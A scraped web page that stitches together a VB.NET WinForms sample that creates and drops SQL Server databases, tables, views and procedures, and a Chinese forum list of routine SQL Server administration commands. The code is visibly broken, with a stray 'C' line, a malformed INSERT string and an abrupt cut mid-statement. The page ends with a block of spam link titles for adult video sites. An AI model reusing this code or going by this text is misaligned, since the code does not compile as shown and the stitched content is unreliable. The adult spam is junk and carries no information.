  Private conn As SqlConnection = Nothing
  Private cmd As SqlCommand = Nothing
  Private AlterTableBtn As System.Windows.Forms.Button
  Private sql As String = Nothing
  Private CreateOthersBtn As System.Windows.Forms.Button

#Region " Windows 窗體設(shè)計(jì)器生成的代碼 "
  '窗體重寫處置以清理組件列表。
  Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
    If disposing Then
      If Not (components Is Nothing) Then
        components.Dispose()
      End If
    End If
    MyBase.Dispose(disposing)
  End Sub
  Public Sub New()
    MyBase.New()
    InitializeComponent()
  End Sub
  Private components As System.ComponentModel.IContainer
  Friend WithEvents DataGrid1 As System.Windows.Forms.DataGrid
  Friend WithEvents CreateDBBtn As System.Windows.Forms.Button
  Friend WithEvents CreateTableBtn As System.Windows.Forms.Button
  Friend WithEvents CreateSPBtn As System.Windows.Forms.Button
  Friend WithEvents CreateViewBtn As System.Windows.Forms.Button
  Friend WithEvents btnAlterTable As System.Windows.Forms.Button
  Friend WithEvents btnCreateOthers As System.Windows.Forms.Button
  Friend WithEvents btnDropTable As System.Windows.Forms.Button
  Friend WithEvents btnViewData As System.Windows.Forms.Button
  Friend WithEvents btnViewSP As System.Windows.Forms.Button
  Friend WithEvents btnViewView As System.Windows.Forms.Button
  <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
    Me.CreateDBBtn = New System.Windows.Forms.Button()
    Me.CreateTableBtn = New System.Windows.Forms.Button()
    Me.CreateSPBtn = New System.Windows.Forms.Button()
    Me.CreateViewBtn = New System.Windows.Forms.Button()
    Me.btnAlterTable = New System.Windows.Forms.Button()
    Me.btnCreateOthers = New System.Windows.Forms.Button()
    Me.btnDropTable = New System.Windows.Forms.Button()
    Me.btnViewData = New System.Windows.Forms.Button()
    Me.btnViewSP = New System.Windows.Forms.Button()
    Me.btnViewView = New System.Windows.Forms.Button()
    Me.DataGrid1 = New System.Windows.Forms.DataGrid()
    CType(Me.DataGrid1, System.ComponentModel.ISupportInitialize).BeginInit()
    Me.SuspendLayout()
    '
    'CreateDBBtn
    '
    Me.CreateDBBtn.Location = New System.Drawing.Point(19, 9)
    Me.CreateDBBtn.Name = "CreateDBBtn"
    Me.CreateDBBtn.Size = New System.Drawing.Size(104, 23)
    Me.CreateDBBtn.TabIndex = 0
    Me.CreateDBBtn.Text = "創(chuàng)建數(shù)據(jù)庫"
    '
    'CreateTableBtn
    '
    Me.CreateTableBtn.Location = New System.Drawing.Point(139, 9)
    Me.CreateTableBtn.Name = "CreateTableBtn"
    Me.CreateTableBtn.TabIndex = 1
    Me.CreateTableBtn.Text = "創(chuàng)建表"
    '
    'CreateSPBtn
    '
    Me.CreateSPBtn.Location = New System.Drawing.Point(230, 9)
    Me.CreateSPBtn.Name = "CreateSPBtn"
    Me.CreateSPBtn.Size = New System.Drawing.Size(104, 23)
    Me.CreateSPBtn.TabIndex = 2
    Me.CreateSPBtn.Text = "創(chuàng)建存儲(chǔ)過程"
    '
    'CreateViewBtn
    '
    Me.CreateViewBtn.Location = New System.Drawing.Point(350, 9)
    Me.CreateViewBtn.Name = "CreateViewBtn"
    Me.CreateViewBtn.TabIndex = 3
    Me.CreateViewBtn.Text = "創(chuàng)建視圖"
    '
    'btnAlterTable
    '
    Me.btnAlterTable.Location = New System.Drawing.Point(441, 9)
    Me.btnAlterTable.Name = "btnAlterTable"
    Me.btnAlterTable.TabIndex = 4
    Me.btnAlterTable.Text = "修改表"
    '
    'btnCreateOthers
    '
    Me.btnCreateOthers.Location = New System.Drawing.Point(17, 43)
    Me.btnCreateOthers.Name = "btnCreateOthers"
    Me.btnCreateOthers.Size = New System.Drawing.Size(104, 23)
    Me.btnCreateOthers.TabIndex = 5
    Me.btnCreateOthers.Text = "創(chuàng)建規(guī)則和索引"
    '
    'btnDropTable
    '
    Me.btnDropTable.Location = New System.Drawing.Point(138, 43)
    Me.btnDropTable.Name = "btnDropTable"
    Me.btnDropTable.TabIndex = 6
    Me.btnDropTable.Text = "刪除表"
    '
    'btnViewData
    '
    Me.btnViewData.Location = New System.Drawing.Point(351, 43)
    Me.btnViewData.Name = "btnViewData"
    Me.btnViewData.TabIndex = 7
    Me.btnViewData.Text = "查看數(shù)據(jù)"
    '
    'btnViewSP
    '
    Me.btnViewSP.Location = New System.Drawing.Point(230, 43)
    Me.btnViewSP.Name = "btnViewSP"
    Me.btnViewSP.Size = New System.Drawing.Size(104, 23)
    Me.btnViewSP.TabIndex = 8
    Me.btnViewSP.Text = "查看存儲(chǔ)過程"
    '
    'btnViewView
    '
    Me.btnViewView.Location = New System.Drawing.Point(443, 43)
    Me.btnViewView.Name = "btnViewView"
    Me.btnViewView.TabIndex = 9
    Me.btnViewView.Text = "查看視圖"
    '
    'DataGrid1
    '
    Me.DataGrid1.DataMember = ""
    Me.DataGrid1.HeaderForeColor = System.Drawing.SystemColors.ControlText
    Me.DataGrid1.Location = New System.Drawing.Point(20, 76)
    Me.DataGrid1.Name = "DataGrid1"
    Me.DataGrid1.Size = New System.Drawing.Size(500, 183)
    Me.DataGrid1.TabIndex = 10
    '
    'Form1
    '
    Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
    Me.ClientSize = New System.Drawing.Size(538, 281)
    Me.Controls.AddRange(New System.Windows.Forms.Control() {Me.DataGrid1, Me.btnViewView, _
              Me.btnViewSP, Me.btnViewData, Me.btnDropTable, Me.btnCreateOthers, Me.btnAlterTable, _
              Me.CreateViewBtn, Me.CreateSPBtn, Me.CreateTableBtn, Me.CreateDBBtn})
    Me.Name = "Form1"
    Me.Text = "動(dòng)態(tài)創(chuàng)建SQL Server數(shù)據(jù)庫、表、存儲(chǔ)過程等架構(gòu)信息"
    CType(Me.DataGrid1, System.ComponentModel.ISupportInitialize).EndInit()
    Me.ResumeLayout(False)

  End Sub

#End Region

  ' 創(chuàng)建數(shù)據(jù)庫
  Private Sub CreateDBBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateDBBtn.Click
    conn = New SqlConnection(ConnectionString)
    ' 打開連接
    If conn.State <> ConnectionState.Open Then
      conn.Open()
    End If
    'MyDataBase為數(shù)據(jù)庫名稱
    Dim sql As String = "CREATE DATABASE MyDataBase ON PRIMARY (Name=MyDataBase_data, filename = " + _
        "'D:\MyDataBase.mdf', size=3," + "maxsize=5, filegrowth=10%) log on" + "(name=MyDataBase_log, " + _
        "filename='D:\MyDataBase.ldf',size=3," + "maxsize=20,filegrowth=1)"
    cmd = New SqlCommand(sql, conn)
    Try
      cmd.ExecuteNonQuery()
    Catch ae As SqlException
      MessageBox.Show(ae.Message.ToString())
    End Try
  End Sub
  '創(chuàng)建表
  Private Sub CreateTableBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateTableBtn.Click
    conn = New SqlConnection(ConnectionString)
    ' 打開連接
    If conn.State = ConnectionState.Open Then
      conn.Close()
    End If
    C
    conn.ConnectionString = ConnectionString
    conn.Open()
    sql = "CREATE TABLE myTable" + "(myId INTEGER CONSTRAINT PKeyMyId PRIMARY KEY," + _
      "myName CHAR(50) NOT Null, myAddress CHAR(255), myValues FLOAT)"
    cmd = New SqlCommand(sql, conn)
    Try
      cmd.ExecuteNonQuery()
      ' 添加紀(jì)錄
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1001, _'【孟憲會(huì)之精彩世界】之一', 'http://xml.sz.luohuedu.net/', 100 ) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1002, '【孟憲會(huì)之精彩世界】之二', 'http://www.erp800.com/net_lover/', 99) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1003, '【孟憲會(huì)之精彩世界】之三', 'http://xml.sz.luohuedu.net/', 99) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1004, '【孟憲會(huì)之精彩世界】之四', 'http://www.erp800.com/net_lover/', 100) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
    Catch ae As SqlException
      MessageBox.Show(ae.Message.ToString())
    End Try

  End Sub
  '創(chuàng)建存儲(chǔ)過程
  Private Sub CreateSPBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateSPBtn.Click
    sql = "CREATE PROCEDURE myProc AS" + " SELECT myName, myAddress FROM myTable GO"
    ExecuteSQLStmt(sql)
  End Sub
  '創(chuàng)建視圖
  Private Sub CreateViewBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateViewBtn.Click
    sql = "CREATE VIEW myView AS SELECT myName FROM myTable"
    ExecuteSQLStmt(sql)

  End Sub
  '修改表
  Private Sub btnAlterTable_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles btnAlterTable.Click
    sql = "ALTER TABLE MyTable ADD newCol datetime NOT NULL DEFAULT (getdate())"
    ExecuteSQLStmt(sql)
  End Sub
  '創(chuàng)建規(guī)則和索引
  Private Sub btnCreateOthers_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles btnCreateOthers.Click
    sql = "CREATE UNIQUE INDEX " + "myIdx ON myTable(myName)"
    ExecuteSQLStmt(sql)

    sql = "CREATE RULE myRule " + "AS @myValues >= 90 AND @myValues < 9999"
    ExecuteSQLStmt(sql)
  End Sub

  '刪除表
  Private Sub btnDropTable_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles btnDropTable.Click
    Dim sql As String = "DROP TABLE MyTable"
    ExecuteSQLStmt(sql)
  End Sub
  '    C
    conn.ConnectionString = ConnectionString
    conn.Open()
    Dim da As New SqlDataAdapter("SELECT * FROM myView", conn)
    Dim ]]>
SQL Server 數(shù)據(jù)庫管理常用的SQL和T-SQhttp://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2515&Page=1wangxinxin2010-12-13 12:34:19select @@version
常見的幾種SQL SERVER打補(bǔ)丁后的版本號(hào):
8.00.194 Microsoft SQL Server 2000
8.00.384 Microsoft SQL Server 2000 SP1
8.00.532 Microsoft SQL Server 2000 SP2
8.00.760 Microsoft SQL Server 2000 SP3
8.00.818 Microsoft SQL Server 2000 SP3 w/ Cumulative Patch MS03-031
8.00.2039 Microsoft SQL Server 2000 SP4
2. 查看數(shù)據(jù)庫所在機(jī)器操作系統(tǒng)參數(shù)
exec master..xp_msver
3. 查看數(shù)據(jù)庫啟動(dòng)的參數(shù)
sp_configure
4. 查看數(shù)據(jù)庫啟動(dòng)時(shí)間
select convert(varchar(30),login_time,120) from master..sysprocesses where spid=1
查看數(shù)據(jù)庫服務(wù)器名和實(shí)例名
print 'Server Name...............: ' + convert(varchar(30),@@SERVERNAME)
print 'Instance..................: ' + convert(varchar(30),@@SERVICENAME)
5. 查看所有數(shù)據(jù)庫名稱及大小
sp_helpdb
重命名數(shù)據(jù)庫用的SQL
sp_renamedb 'old_dbname', 'new_dbname'
6. 查看所有數(shù)據(jù)庫用戶登錄信息
sp_helplogins
查看所有數(shù)據(jù)庫用戶所屬的角色信息
sp_helpsrvrolemember
修復(fù)遷移服務(wù)器時(shí)孤立用戶時(shí),可以用的fix_orphan_user腳本或者LoneUser過程
更改某個(gè)數(shù)據(jù)對(duì)象的用戶屬主
sp_changeobjectowner [@objectname =] 'object', [@newowner =] 'owner'
注意: 更改對(duì)象名的任一部分都可能破壞腳本和存儲(chǔ)過程。
把一臺(tái)服務(wù)器上的數(shù)據(jù)庫用戶登錄信息備份出來可以用add_login_to_aserver腳本
查看某數(shù)據(jù)庫下,對(duì)象級(jí)用戶權(quán)限
sp_helprotect
7. 查看鏈接服務(wù)器
sp_helplinkedsrvlogin
查看遠(yuǎn)端數(shù)據(jù)庫用戶登錄信息
sp_helpremotelogin
8.查看某數(shù)據(jù)庫下某個(gè)數(shù)據(jù)對(duì)象的大小
sp_spaceused @objname
還可以用sp_toptables過程看最大的N(默認(rèn)為50)個(gè)表
查看某數(shù)據(jù)庫下某個(gè)數(shù)據(jù)對(duì)象的索引信息
sp_helpindex @objname
還可以用SP_NChelpindex過程查看更詳細(xì)的索引情況
SP_NChelpindex @objname
clustered索引是把記錄按物理順序排列的,索引占的空間比較少。
對(duì)鍵值DML操作十分頻繁的表我建議用非clustered索引和約束,fillfactor參數(shù)都用默認(rèn)值。
查看某數(shù)據(jù)庫下某個(gè)數(shù)據(jù)對(duì)象的的約束信息
sp_helpconstraint @objname
9.查看數(shù)據(jù)庫里所有的存儲(chǔ)過程和函數(shù)
use @database_name
sp_stored_procedures
查看存儲(chǔ)過程和函數(shù)的源代碼
sp_helptext '@procedure_name'
查看包含某個(gè)字符串@str的數(shù)據(jù)對(duì)象名稱
select distinct object_name(id) from syscomments where text like '%@str%'
創(chuàng)建加密的存儲(chǔ)過程或函數(shù)在AS前面加WITH ENCRYPTION參數(shù)
解密加密過的存儲(chǔ)過程和函數(shù)可以用sp_decrypt過程
10.查看數(shù)據(jù)庫里用戶和進(jìn)程的信息
sp_who
查看SQL Server數(shù)據(jù)庫里的活動(dòng)用戶和進(jìn)程的信息
sp_who 'active'
查看SQL Server數(shù)據(jù)庫里的鎖的情況
sp_lock
進(jìn)程號(hào)1--50是SQL Server系統(tǒng)內(nèi)部用的,進(jìn)程號(hào)大于50的才是用戶的連接進(jìn)程.
spid是進(jìn)程編號(hào),dbid是數(shù)據(jù)庫編號(hào),objid是數(shù)據(jù)對(duì)象編號(hào)
查看進(jìn)程正在執(zhí)行的SQL語句
dbcc inputbuffer ()
推薦大家用經(jīng)過改進(jìn)后的sp_who3過程可以直接看到進(jìn)程運(yùn)行的SQL語句
sp_who3
檢查死鎖用sp_who_lock過程
sp_who_lock
11.查看和收縮數(shù)據(jù)庫日志文件的方法
查看所有數(shù)據(jù)庫日志文件大小
dbcc sqlperf(logspace)
如果某些日志文件較大,收縮簡單恢復(fù)模式數(shù)據(jù)庫日志,收縮后@database_name_log的大小單位為M
backup log @database_name with no_log
dbcc shrinkfile (@database_name_log, 5)
12.分析SQL Server SQL 語句的方法:
set statistics time {on | off}
set statistics io {on | off}
圖形方式顯示查詢執(zhí)行計(jì)劃
在查詢分析器->查詢->顯示估計(jì)的評(píng)估計(jì)劃(D)-Ctrl-L 或者點(diǎn)擊工具欄里的圖形
文本方式顯示查詢執(zhí)行計(jì)劃
set showplan_all {on | off}
set showplan_text { on | off }
set statistics profile { on | off }
13.出現(xiàn)不一致錯(cuò)誤時(shí),NT事件查看器里出3624號(hào)錯(cuò)誤,修復(fù)數(shù)據(jù)庫的方法
先注釋掉應(yīng)用程序里引用的出現(xiàn)不一致性錯(cuò)誤的表,然后在備份或其它機(jī)器上先恢復(fù)然后做修復(fù)操作
alter database [@error_database_name] set single_user
修復(fù)出現(xiàn)不一致錯(cuò)誤的表
dbcc checktable('@error_table_name',repair_allow_data_loss)
或者可惜選擇修復(fù)出現(xiàn)不一致錯(cuò)誤的小型數(shù)據(jù)庫名
dbcc checkdb('@error_database_name',repair_allow_data_loss)
alter database [@error_database_name] set multi_user
CHECKDB 有3個(gè)參數(shù):
repair_allow_data_loss 包括對(duì)行和頁進(jìn)行分配和取消分配以改正分配錯(cuò)誤、結(jié)構(gòu)行或頁的錯(cuò)誤,以及刪除已損壞的文本對(duì)象,這些修復(fù)可能會(huì)導(dǎo)致一些數(shù)據(jù)丟失。
修復(fù)操作可以在用戶事務(wù)下完成以允許用戶回滾所做的更改。
如果回滾修復(fù),則數(shù)據(jù)庫仍會(huì)含有錯(cuò)誤,應(yīng)該從備份進(jìn)行恢復(fù)。
如果由于所提供修復(fù)等級(jí)的緣故遺漏某個(gè)錯(cuò)誤的修復(fù),則將遺漏任何取決于該修復(fù)的修復(fù)。
修復(fù)完成后,請(qǐng)備份數(shù)據(jù)庫。
repair_rest 進(jìn)行小的、不耗時(shí)的修復(fù)操作,如修復(fù)非聚集索引中的附加鍵。
這些修復(fù)可以很快完成,并且不會(huì)有丟失數(shù)據(jù)的危險(xiǎn)。
repair_rebuild 執(zhí)行由 repair_rest 完成的所有修復(fù),包括需要較長時(shí)間的修復(fù)(如重建索引)。
執(zhí)行這些修復(fù)時(shí)不會(huì)有丟失數(shù)據(jù)的危險(xiǎn)。 ]]>
主站蜘蛛池模板: 久久九九精品一区二区 | 一色屋色费精品视频在线看 | 四虎精品成人免费视频 | 波多野结衣高清在线播放 | 两性免费视频 | 欧美精品久久久久久久久大尺度 | 久久国产小视频 | 在线一区二区三区 | 婷婷色网站 | 欧美性色综合网 | 中国国产成人精品久久 | 亚洲免费精品视频 | 亚洲国产成人久久精品图片 | 婷婷亚洲综合五月天小说在线 | 99在线视频网站 | 亚洲国产精选 | 一区二区视频免费观看 | 欧美福利在线播放 | 性欧美大战久久久久久久野外黑人 | 精品视频久久久久 | 丁香五月缴情在线 | 五月天丁香激情 | 亚洲一页| 福利视频免费观看 | 亚洲国产综合人成综合网站00 | 国产精品福利一区 | 亚洲国产成人久久一区二区三区 | 亚洲视频欧洲视频 | 欧美国产成人精品一区二区三区 | 免费观看男女羞羞的视频网站 | 欧美成人高清性色生活 | 国产综合色在线视频播放线视 | 久久er| 亚洲精品视频免费观看 | 色的视频在线观看免费播放 | 久久精品国产在热久久2019 | 伊人网综合在线视频 | 男女男精品视频 | 亚洲h电影 | 五月天婷婷缴情五月免费观看 | 亚洲综合色丁香婷婷六月图片 |